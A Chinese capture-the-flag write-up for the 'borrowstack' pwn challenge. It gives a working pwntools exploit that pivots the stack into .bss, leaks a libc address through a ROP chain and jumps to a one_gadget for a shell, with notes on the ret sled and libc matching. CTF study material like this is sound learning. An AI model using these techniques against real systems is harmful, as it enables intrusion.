gyctf_2020_borrowstack
zach0ry

题目

image-20250727182130118

image-20250727182152629

思路:

bank是bss段上的,栈空间不足,把泄露libc的东西放在bank上,通过buf跳转到bank泄露libc去找到libc基址

然后加上对应libc的one_gadget偏移,跳转过去执行ong_gadgat就可以了

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
#p=process("./gyctf_2020_borrowstack")
p=remote("node5.buuoj.cn",27049)
elf=ELF("./gyctf_2020_borrowstack")
bank=0x0000000000601080
leave=0x400699
rdi=0x0400703
ret=0x4004c9
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x400626

payload1=b'a'*0x60+p64(bank)+p64(leave)
p.recvuntil(b"want")
p.send(payload1)


p.recvuntil(b"now!")
payload2=p64(ret)*20+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload2)
a=p.recvline()
puts= u64(p.recv(6).ljust(8, b'\x00'))
print(hex(puts))

libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")

one=libc_base+0x4526a

payload=b'a'*0x68+p64(one)
p.sendline(payload)

p.interactive()

收获

p64(ret)*0x20

原因

main 函数再次被执行时(因为你的 ROP 链最后跳转到了 main 函数的地址):

  1. 程序会为新的 main 函数调用重新分配一个栈帧

  2. 在这个新的栈帧中,会再次为局部变量 buf[96] 分配空间

为什么“临时变量的空间会覆盖到 GOT 表”?

这里就是关键点。在 64 位程序中,栈是向下增长的(从高地址向低地址)。

  • GOT 表通常在程序的低地址区域。 (例如:0x0601018
  • bank 变量在 .bss 段,通常地址比 GOT 表高。 (例如:0x0601080
  • 栈会向下增长。main 函数再次被调用,并且它在堆栈上分配 buf 等局部变量时,这些变量会占用 rsp 向下增长的内存空间。

现在想象一下:

  1. 你的栈迁移,把 rsp 设置到了 bank 处(例如 0x0601080)。
  2. 你用 p64(ret)*20 把你的 ROP 链推到了 bank + 160 (例如 0x0601120)。
  3. 你的 ROP 链执行,泄漏 puts 地址。
  4. 然后,你的 ROP 链最后执行 p64(main),导致程序跳转回 main 函数的开头。
  5. main 函数再次执行时,它会在栈上重新分配空间。 此时,新的栈帧可能会从 rsp 的当前位置(即 0x0601120,也就是你的 ROP 链最后执行完的位置)开始向下(向低地址)增长。
  6. 如果 main 函数分配的局部变量(例如 buf[96])的新空间,在栈向下增长的过程中,恰好“覆盖”到了 GOT 表所在的内存区域(例如 0x0601018),那么 GOT 表的地址就会被这些局部变量的垃圾数据所破坏。

p64(ret)*20 的作用

所以,p64(ret)*20 在这里的另一个重要作用就是:

  • 它将你的伪造栈帧(即你写入 bank 的 ROP 链)向高地址方向推得更远
  • 这样,当 main 函数再次被调用时,它会从你伪造栈的末尾(bank + 160 + ROP 链长度)开始向下分配新的栈帧。
  • 通过把你的伪造栈(和 rsp 的位置)设置在足够高的地址,可以确保 main 函数再次分配的局部变量空间(栈向下增长的部分)不会侵犯到位于低地址的 GOT 表

用图示来说明:

没有 p64(ret)\*20 的风险:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
高地址
...
0x0601080 <-- bank (rsp 迁移到这里)
| pop_rdi |
| puts_got| <-- ROP链
| puts_plt|
| main |
...
0x0601018 <-- puts_got (GOT表)
...
低地址

当 main 再次运行,它可能从 0x0601080 附近向下分配新的 buf 空间,
这个 buf 空间可能直接覆盖到 0x0601018 处的 puts_got。

有了 p64(ret)\*20 的好处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
高地址
...
0x0601120 <-- bank + 160 (rsp 最终会到这里)
| pop_rdi |
| puts_got| <-- ROP链
| puts_plt|
| main |
...
0x0601080 <-- bank (rsp 最初迁移到这里,p64(ret)*20 填充)
| ret |
| ... |
| ret |
...
0x0601018 <-- puts_got (GOT表)
...
低地址

当 main 再次运行,它会从 0x0601120 附近向下分配新的 buf 空间。
由于 0x0601120 足够高,向下分配的 buf 空间不会到达 0x0601018 的 puts_got。
GOT表因此被保护了。

所以,这段解释指的是:p64(ret)\*20 能够将你的 ROP 链的“起点”抬高,从而避免当程序再次回到 main 函数并重新分配栈空间时,main 函数的局部变量(如 buf)在栈向下增长时,其空间与 GOT 表发生重叠,进而破坏 GOT 表。

这是一种非常常见的,也是非常重要的防御性策略,确保了后续攻击(例如获取 Shell)的可靠性,因为这些攻击通常需要一个完好无损的 GOT 表来解析函数地址。

大小

1.可以从一个小数开始尝试(推荐)

一般情况下20就够了

不能太大, read(0, &bank, 0x100uLL) 写入的。这个 read 函数最多只能读取 0x100 (256) 字节。

  • 你的 payload 长度是有限制的。
  • p64(ret)*N 占据的字节数是 N * 8
  • 你的核心 ROP 链 (p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)) 本身也需要空间。
    • p64(pop_rdi): 8 字节
    • p64(puts_got): 8 字节
    • p64(puts_plt): 8 字节
    • p64(main): 8 字节
    • 核心 ROP 链共 4 * 8 = 32 字节。

如果 N 过大,例如 N=100,那么 p64(ret)*100 就需要 100 * 8 = 800 字节。这已经远远超过了 read 函数能读取的最大 0x100 (256) 字节。

one_gadget和LibcSearcher

one_gadget 是一个命令行工具,它用于分析 libc 库文件,并找到其中可以直接用于获取 shell 的指令序列的偏移量。

与传统的 system("/bin/sh") 方法相比,one_gadget 通常更简洁,因为它只需要一个地址就能获取 shell,而不需要 pop_rdi gadget、"/bin/sh" 字符串的地址和 system 函数的地址。 此外,one_gadget 通常对环境(包括栈对齐)的要求更宽松。

用法和shellcode一样

找到位置即可ibc

把泄露出来的函数地址在libc网站匹配

image-20250727163636808

之后下载匹配的的libc版本

用命令

1
one_gadget /home/p0ach1l/Documents/libc6_2.23-0ubuntu11_amd64.so

image-20250727163729001

找到合适的偏移量即可(地址下面是它要满足的条件)

LibcSearcher 匹配的版本是它自己数据库中的版本,而不是你本地计算机上 /lib/x86_64-linux-gnu/libc.so.6 这样的文件。

1
2
3
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)

是用它LibcSearcher匹配的版本,而one_gadget是用我们匹配下载的libc文件去实际计算的,更准确

system("/bin/sh") 的失败:

  • system("/bin/sh") 方法需要计算 system 函数的地址 (libc_base + libc.dump('system')) 和 "/bin/sh" 字符串的地址 (libc_base + libc.dump('str_bin_sh'))。

  • 如果这种方法失败,最核心的原因是 LibcSearcher 为你选定的那个 libc 版本(例如 libc6_2.23-0ubuntu10_amd64),虽然其 puts 偏移和 one_gadget 的特定偏移与远程服务器相符,但其内部记录的 system 函数和 "/bin/sh" 字符串的相对偏移量,与远程服务器实际 libc 中的这两个偏移量不一致**。

  • libc 版本号(如 2.23)可能相同,但不同的发行版或编译选项(如 ubuntu10 vs ubuntu11,或不同的构建日期)会导致内部函数和字符串的具体相对位置存在细微差异。即使 puts 和某个 one_gadget 的偏移恰好相同,system"/bin/sh" 的偏移可能就不同了。

  • 当你用错误的偏移量计算出 system"/bin/sh" 的地址并尝试跳转时,程序会因为 RIP 指向无效地址或 system 函数接收到无效参数而崩溃(dumped core)。